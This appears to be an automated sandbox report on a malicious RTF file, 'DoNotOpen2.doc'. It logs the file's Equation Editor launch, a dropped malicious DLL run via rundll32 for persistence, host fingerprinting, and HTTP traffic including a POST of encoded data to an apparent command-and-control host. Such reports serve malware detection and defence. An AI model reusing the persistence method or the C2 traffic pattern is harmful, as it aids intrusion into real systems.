Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX

Language, Device and Operating System Detection:

Contains functionality to query local / system time

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_617B3362 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_617B3362

Contains functionality to query the account / user name

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_00517143 GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,memset,GetUserNameA,MultiByteToWideChar,WideCharToMultiByte,ConvertSidToStringSidA,

3_2_00517143

Queries the cryptographic machine GUID

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,__swprintf_c_l,

3_2_00516DF6

Queries information about the installed CPU (vendor, model number etc)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor

Queries the product ID of Windows

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId
Source: C:\Program Files\Internet Explorer\iexplore.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId

Uses the system / local time for branch decision (may execute only at specific dates)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_005163DA GetLocalTime followed by cmp: cmp word ptr [esp+12h], 0010h and CTI: jne 005164DCh

3_2_005163DA

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious

Simulations

Behavior and APIs

Time	Type	Description
19:15:15	API Interceptor	340x Sleep call for process: WINWORD.EXE modified from: 60000ms to: 5000ms
19:15:17	API Interceptor	3x Sleep call for process: EQNEDT32.EXE modified from: 60000ms to: 5000ms
19:15:18	API Interceptor	938x Sleep call for process: explorer.exe modified from: 60000ms to: 5000ms
19:15:20	API Interceptor	2x Sleep call for process: WINWORD.EXE modified from: 30000ms to: 5000ms

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshot

Startup

System is w7_1

WINWORD.EXE (PID: 3368 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\Desktop\DoNotOpen2.doc MD5: 5D798FF0BE2A8970D932568068ACFD9D)

EQNEDT32.EXE (PID: 3420 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

iexplore.exe (PID: 3444 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: EE79D654A04333F566DF07EBDE217928)

explorer.exe (PID: 3488 cmdline: explorer.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Caches\NavShExt.dll,Setting MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

EQNEDT32.EXE (PID: 3496 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

explorer.exe (PID: 3544 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

cleanup

Created / dropped Files

C:\Users\user~1\AppData\Local\Temp\a.b
File Type:	PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
Size (bytes):	72704
Entropy (8bit):	7.792067824152349
Encrypted:	false
MD5:	CD36BBD7F949CF017EDBA0E6AAADF28C
SHA1:	2FDE32F2695BC7B3B702A1E3B53A8C38E60B7402
SHA-256:	6DC2A49D58DC568944FEF8285AD7A03B772B9BDF1FE4BDDFF3F1ADE3862EAE79
SHA-512:	37C99E8FF71C6FF4FFBE39F0358E019379094D75C5B0C7E7837C783134704369C860B22AE2EE0346692FFF44738F592CFAAA050C4BF649D7F661964BC1F252B5
Malicious:	true
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\a.b:Zone.Identifier
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	26
Entropy (8bit):	3.9500637564362093
Encrypted:	false
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1CD60.db
File Type:	data
Size (bytes):	1234
Entropy (8bit):	7.673826510159546
Encrypted:	false
MD5:	1DDCBB5BE7004A9C3D60E6EA201EC6BF
SHA1:	B76B1345B5863020D49913A5DDFC9104275D4E02
SHA-256:	DBDDA9E664A2F00F69F618B41A50F0DEE1380A6A1251AAAEC4A071147BDD85E8
SHA-512:	4B846E55A4ACD6486707087DD527468EE69B3CF74BD7FE9D0EB0EEB6AE9CA663D4FCEDB107E256B0C8B34A05BFBC59CF1A3564EF96E5AE6264D39C1EB3C75A40
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\35883A03.emf
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Size (bytes):	4952
Entropy (8bit):	3.5299498766178474
Encrypted:	false
MD5:	76A6A9E9C48C004024044BCE75D37E51
SHA1:	4C00770A39340B2A048510A0950634831A05D5B1
SHA-256:	4F8B5CF21952829BAC2C984A04B8C842ED1E410D66A399E4EDBA08F12518DA00
SHA-512:	6C465F047EFA3CCC419DF87DCF6F3A29DEA5C16C0F922B13F637987D9914F7897735D6930CCD950127E229BDE384C1660A3670EA706473A82CCEC2E075E7AC70
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A0D9A712-568D-40D0-B7F6-6A85F1374384}.tmp
File Type:	Microsoft Word Document
Size (bytes):	4096
Entropy (8bit):	2.0923481278854603
Encrypted:	false
MD5:	92086E57A2606B48530BD480E4433466
SHA1:	7846DDC450B391B6C8CFB816C809E6456C7082A1
SHA-256:	8D758651DD164E0528775ED8F4A639E8BE4432CF862D346043CCD012FADFB22F
SHA-512:	BA7F634EDF1FB4849590103703A52CBF5474C27695D347BF1AE46809B5403B76C8E4248B0C0E9E9B4E055179392B6AA8865E7A93774D1C15B3E087CA334F4F18
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{16571D6F-8073-4493-9B1A-D2C4FF082D62}.tmp
File Type:	data
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{22A100BA-EC67-445B-87C8-9798062FBA4F}.tmp
File Type:	data
Size (bytes):	17162
Entropy (8bit):	3.885473232990777
Encrypted:	false
MD5:	DEF82BC50419BEA3579CE03222140012
SHA1:	6140A77DA25681CB99C87FC6F64DB4871CA8D97C
SHA-256:	D80AA9834FBB4564C928BB46C06FD6258DF3DAE1F6977C6DEAA08BFB9228C498
SHA-512:	68231D80CB4A2C7DC0F0E0A28AD5F2C5FFA200E38B1ADF7FD196018424768C0460638F0E4F3D8E16B60020839D324BCB012891F58177876A4945B1CDD90C2446
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\DoNotOpen2.LNK
File Type:	MS Windows shortcut
Size (bytes):	2066
Entropy (8bit):	4.571699609436004
Encrypted:	false
MD5:	AB3ECA74AF0ED11F094BE0571FE5F06B
SHA1:	74597A880CA352A5AF0A8B6B9C4BEED26E676F32
SHA-256:	31A8A67BBC167FE4C7CC81DE2F66A4825C22DFE5C7E631C924C35542141A9DF9
SHA-512:	6AF53713B731666836042EA1BB301D9C3FDC98BC3EB3DFA468F5A2605E005D2E048B331BC5E09FD62688DF2987370C35861999A2AE27FA1A63BCCBF599F4AF96
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	54
Entropy (8bit):	4.416653011302537
Encrypted:	false
MD5:	95E7739FE75359E97BD88812A26D19B6
SHA1:	E6AAC3EF7260591E2AB3ABA6C47541C2BC39D9DE
SHA-256:	C842AE68D3CEBFB0E8AEAEF9547AF8A8C5D235BDD39E8383695880F50352E824
SHA-512:	DA9CB469DE47C83A41322130584708E24C76E81259F7E5C9DF08F061882F9C5C8105F7A59D97ED6D3176EA087A7E4553700CAB0DF1368E0868C9EA23C9E4195F
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
File Type:	data
Size (bytes):	162
Entropy (8bit):	3.020922996257724
Encrypted:	false
MD5:	FFCBCAB394CED9465D4D47DA6DDDAD73
SHA1:	E4E8220021519959D56383BE9F0DAAB4419B106B
SHA-256:	0F219C83F79A184F98D27BADD94BC48A8025B49A7E62A28B67FDBE27AB229AB5
SHA-512:	0A182F9A4A8686F25CD40723186E8BD2C7FA86C87D88F10FAD74040E122E37905538FEB7951C374AA982B793C08F85D28B91F0DF6787F684F8BAB8B4189E4025
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Caches\NavShExt.dll
File Type:	PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
Size (bytes):	72704
Entropy (8bit):	7.792067824152349
Encrypted:	false
MD5:	CD36BBD7F949CF017EDBA0E6AAADF28C
SHA1:	2FDE32F2695BC7B3B702A1E3B53A8C38E60B7402
SHA-256:	6DC2A49D58DC568944FEF8285AD7A03B772B9BDF1FE4BDDFF3F1ADE3862EAE79
SHA-512:	37C99E8FF71C6FF4FFBE39F0358E019379094D75C5B0C7E7837C783134704369C860B22AE2EE0346692FFF44738F592CFAAA050C4BF649D7F661964BC1F252B5
Malicious:	false
Reputation:	low

C:\Users\user\Desktop\~$NotOpen2.doc
File Type:	data
Size (bytes):	162
Entropy (8bit):	3.020922996257724
Encrypted:	false
MD5:	FFCBCAB394CED9465D4D47DA6DDDAD73
SHA1:	E4E8220021519959D56383BE9F0DAAB4419B106B
SHA-256:	0F219C83F79A184F98D27BADD94BC48A8025B49A7E62A28B67FDBE27AB229AB5
SHA-512:	0A182F9A4A8686F25CD40723186E8BD2C7FA86C87D88F10FAD74040E122E37905538FEB7951C374AA982B793C08F85D28B91F0DF6787F684F8BAB8B4189E4025
Malicious:	false
Reputation:	low

\samr
File Type:	GLS_BINARY_LSB_FIRST
Size (bytes):	116
Entropy (8bit):	4.053374040827533
Encrypted:	false
MD5:	080E701E8B8E2E9C68203C150AC7C6B7
SHA1:	4EF041621388B805758AE1D3B122F9D364705223
SHA-256:	FE129AE2A7C96708754F6F51091E6E512C9FEACA1042A1E9DB914C651FEB344D
SHA-512:	C11D88B8E355B7B922B985802464B693F75BA4C2A62F9137A15842CA82F9B6B3ED13059EDC0DF1C04E7DE43719D892B4C0D22BB67BE0D57EAB368BA1BC057E79
Malicious:	false
Reputation:	low

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection
api.ipaddress.com	209.126.119.177	true	true

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	Flag	ASN	ASN Name	Malicious
103.236.150.14	Indonesia		55664	IDNIC-SERVERKEREN-AS-IDPTExaRekatekProsolusiID	false
209.126.119.177	United States		30083	SERVER4YOU-server4youIncUS	false

Static File Info

General
File type:	Rich Text Format data, version 1, unknown character set
Entropy (8bit):	4.652722413777991
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	DoNotOpen2.doc
File size:	261090
MD5:	f12fc711529b48bcef52c5ca0a52335a
SHA1:	5f89a6b2f1f38b581c65e9a1117c43a3060bfdc1
SHA256:	d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7f39d27c80d85f4a49c411
SHA512:	dcec5673653561354867fa1586a60899e4fd952fd693922aaba86c765710cd32186ca7c1d94bc364e4d384681f4f5fd1de9f2836b4cd53bef39fcb2e96dc0a51
File Content Preview:	{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff0\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;

File Icon

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2018 19:14:59.392513037 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:00.392843008 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:01.468115091 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:03.470319986 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:07.470093012 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:08.509563923 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509613991 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509638071 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509663105 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.519042969 MEZ	51208	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:08.983194113 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:09.517062902 MEZ	51208	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:09.659126043 MEZ	53	51208	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:09.665558100 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:09.665606976 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:09.665831089 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:09.666721106 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:09.666749001 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:10.673778057 MEZ	53	51208	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:17.092802048 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:17.172864914 MEZ	49189	80	192.168.1.16	103.236.150.14
Jan 24, 2018 19:15:17.172935009 MEZ	80	49189	103.236.150.14	192.168.1.16
Jan 24, 2018 19:15:17.173010111 MEZ	49189	80	192.168.1.16	103.236.150.14
Jan 24, 2018 19:15:17.173393011 MEZ	49189	80	192.168.1.16	103.236.150.14
Jan 24, 2018 19:15:17.173419952 MEZ	80	49189	103.236.150.14	192.168.1.16
Jan 24, 2018 19:15:17.173904896 MEZ	49189	80	192.168.1.16	103.236.150.14
Jan 24, 2018 19:15:17.173933983 MEZ	80	49189	103.236.150.14	192.168.1.16
Jan 24, 2018 19:15:17.295620918 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:17.295701981 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:19.410465002 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:19.410650015 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:19.413503885 MEZ	49188	80	192.168.1.16	209.126.119.177
Jan 24, 2018 19:15:19.413541079 MEZ	80	49188	209.126.119.177	192.168.1.16
Jan 24, 2018 19:15:20.774741888 MEZ	80	49189	103.236.150.14	192.168.1.16
Jan 24, 2018 19:15:20.775095940 MEZ	49189	80	192.168.1.16	103.236.150.14
Jan 24, 2018 19:15:20.775259972 MEZ	80	49189	103.236.150.14	192.168.1.16
Jan 24, 2018 19:15:20.775757074 MEZ	49189	80	192.168.1.16	103.236.150.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2018 19:14:59.392513037 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:00.392843008 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:01.468115091 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:03.470319986 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:07.470093012 MEZ	56975	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:08.509563923 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509613991 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509638071 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.509663105 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:08.519042969 MEZ	51208	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:08.983194113 MEZ	53	56975	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:09.517062902 MEZ	51208	53	192.168.1.16	8.8.8.8
Jan 24, 2018 19:15:09.659126043 MEZ	53	51208	8.8.8.8	192.168.1.16
Jan 24, 2018 19:15:10.673778057 MEZ	53	51208	8.8.8.8	192.168.1.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 24, 2018 19:14:59.392513037 MEZ	192.168.1.16	8.8.8.8	0xe608	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:00.392843008 MEZ	192.168.1.16	8.8.8.8	0xe608	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:01.468115091 MEZ	192.168.1.16	8.8.8.8	0xe608	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:03.470319986 MEZ	192.168.1.16	8.8.8.8	0xe608	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:07.470093012 MEZ	192.168.1.16	8.8.8.8	0xe608	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:08.519042969 MEZ	192.168.1.16	8.8.8.8	0x5ec4	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:09.517062902 MEZ	192.168.1.16	8.8.8.8	0x5ec4	Standard query (0)	api.ipaddress.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
Jan 24, 2018 19:15:08.509563923 MEZ	8.8.8.8	192.168.1.16	0xe608	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:08.509613991 MEZ	8.8.8.8	192.168.1.16	0xe608	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:08.509638071 MEZ	8.8.8.8	192.168.1.16	0xe608	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:08.509663105 MEZ	8.8.8.8	192.168.1.16	0xe608	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:08.983194113 MEZ	8.8.8.8	192.168.1.16	0xe608	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:09.659126043 MEZ	8.8.8.8	192.168.1.16	0x5ec4	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)
Jan 24, 2018 19:15:10.673778057 MEZ	8.8.8.8	192.168.1.16	0x5ec4	No error (0)	api.ipaddress.com	209.126.119.177	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.ipaddress.com

3.sj2xp1.paj.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.1.16	49188	209.126.119.177	80	C:\Program Files\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jan 24, 2018 19:15:09.666721106 MEZ	1	OUT	GET /myip?format=txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipaddress.com
Jan 24, 2018 19:15:17.092802048 MEZ	2	IN	HTTP/1.1 200 OK Date: Wed, 24 Jan 2018 18:15:14 GMT Server: Apache Cache-Control: max-age=604800 Expires: Wed, 31 Jan 2018 18:15:14 GMT Content-Length: 13 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 38 35 2e 32 32 30 2e 31 30 31 2e 34 Data Ascii: 185.220.101.4
Jan 24, 2018 19:15:17.295620918 MEZ	6	IN	HTTP/1.1 200 OK Date: Wed, 24 Jan 2018 18:15:14 GMT Server: Apache Cache-Control: max-age=604800 Expires: Wed, 31 Jan 2018 18:15:14 GMT Content-Length: 13 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/plain;charset=UTF-8 Data Raw: 31 38 35 2e 32 32 30 2e 31 30 31 2e 34 Data Ascii: 185.220.101.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.1.16	49189	103.236.150.14	80	C:\Program Files\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jan 24, 2018 19:15:17.173393011 MEZ	3	OUT	POST /goix/nhbqad.asp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: application/jason,application/xml, q=0.9,/, q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US Cookie: 339hndxz=0wEEgqeI/L2qQmlVILDcCEjSuUvCsdzViNvvozbedxbAdA==; o49jg=zWVEEy8HHngAYbc+1rE0gJkrvAStoctjYgNpv4k6Szt9NkBBW93Ico9ieReFMojFzEeoAHCYHUFDrRQsvDbgYVM2KqbYbWq/OaEJQ5mDN6c=; 5f51il=InuyYTmulipC/qjau0zml1Nu7+ym09aui/5ksuwxMGq7sY44kB6xGZGq/lwuTsKXbhsr7wKboki43IbVzk8H3Si3N/B0rCRkIuwEFKiK8ys=; Host: 3.sj2xp1.paj.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Content-Length: 3394
Jan 24, 2018 19:15:17.173904896 MEZ	6	OUT	Data Raw: 40 0d 07 a2 c2 88 2c fe 8c 3a c1 4b 29 ca 60 b6 63 fd 5f 5d fc 03 1c 24 8a da 58 00 34 c0 04 1a 3d ef 18 42 3c d7 2f 17 5b 82 5d 82 df 4e 4d 57 07 35 ef ae 99 4e 42 50 81 23 cb a3 82 1a 0c 99 6a 90 1d fe 1b 59 61 1c 29 9b 36 ea d7 92 74 21 0f 1f Data Ascii: @,:K)`c_]$X4=B</[]NMW5NBP#jYa)6t!LIvm7}vD11W(;&~K"2fMh(W*inGYs+ITFw7]zNFVlM`2>nd@%.@%rlav
Jan 24, 2018 19:15:20.774741888 MEZ	7	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Jan 2018 18:15:18 GMT Content-Length: 0 Connection: close Cache-Control: no-cache

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 3368 Parent PID: 2964

General

Start time:	19:15:14
Start date:	24/01/2018
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\Desktop\DoNotOpen2.doc
Imagebase:	0x77390000
File size:	1423008 bytes
MD5 hash:	5D798FF0BE2A8970D932568068ACFD9D
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 3420 Parent PID: 536

General

Start time:	19:15:16
Start date:	24/01/2018
Path:	C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x77390000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: iexplore.exe PID: 3444 Parent PID: 3420

General

Start time:	19:15:17
Start date:	24/01/2018
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\iexplore.exe
Imagebase:	0x77390000
File size:	815312 bytes
MD5 hash:	EE79D654A04333F566DF07EBDE217928
